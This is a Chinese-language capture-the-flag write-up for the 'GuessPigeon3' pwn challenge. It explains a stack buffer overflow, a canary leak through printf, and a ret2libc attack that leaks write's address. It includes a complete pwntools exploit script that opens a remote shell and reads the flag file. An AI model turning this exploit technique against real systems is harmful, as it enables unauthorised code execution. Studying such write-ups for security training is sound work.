CNSSrecruit-3

GuessPigeon3

开了canary保护,提供了libc.so文件。
参考文章write函数泄露+用地址跳回重执行主函数

guess函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int guess()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(&buf, 0, 0x64u);
puts("You You have two chances. Please input your guess:");
read(0, &buf, 0x100u);
printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf);
puts("Please input your guess again:");
read(0, &buf, 0x100u);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
return __readgsdword(0x14u) ^ v2;
}

v2就是canary,buf存在栈溢出。

ida打开libc.so.6,找到system的偏移地址。/bin/sh字符串的偏移地址可以用winhex打开libc文件查找(详见参考文章,很给力)。

第一次输入后会对输入进行一次输出,可以利用这一次输出把canary带出来,在第二次输入中使用来跳过canary保护。

然后第二次输入时利用栈溢出覆盖掉guess函数的返回地址,调用write函数,输出write函数的真实地址来计算libc的起始地址,就可以计算出system函数的真实地址。同时将write函数的返回地址填充为main函数的地址,这样在第二次输入完之后又会再次进入main函数。

这样再次进入main函数之后,就可以开shell了。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
elf1=ELF("./GuessPigeon3")
elf2=ELF("./libc.so.6")
plt_write=elf1.plt["write"]
got_write=elf1.got["write"]
system_libc=0x3ada0
bin_sh_libc=0x15ba0b

sh=remote("132.232.34.26",8888)
sh.recvuntil("token:")
sh.sendline("GuessPigeon3")
sh.recvuntil("guess:")
sh.sendline('a'*95+"abcde")
sh.recvuntil("abcde")
sh.recv(1)
canary='\x00'+sh.recv(3)
sh.recvuntil("again:")
payload='a'*100+canary+'a'*12+p32(plt_write)+p32(0x080486c4)+p32(1)+p32(got_write)+p32(4)
sh.sendline(payload)
sh.recvuntil('bye~\n')
leak=u32(sh.recv(4))
libc_base=leak-elf2.symbols['write']
system=libc_base+system_libc
bin_sh=libc_base+bin_sh_libc
sh.recvuntil("guess:")
sh.sendline('1')
sh.recvuntil("again:")
payload='a'*100+canary+'a'*12+p32(system)+p32(1)+p32(bin_sh)
sh.sendline(payload)
sh.recv()
sh.interactive()

发现程序十秒不输入就会自行结束,所以把cat flag的操作也写进脚本吧。

1
2
3
sh.sendline("cd ..")
sh.sendline("cat flag_GuessPigeon3")
sh.recv()

诡异的修罗铭文

文章目录
  1. 1. GuessPigeon3
  2. 2. 诡异的修罗铭文
|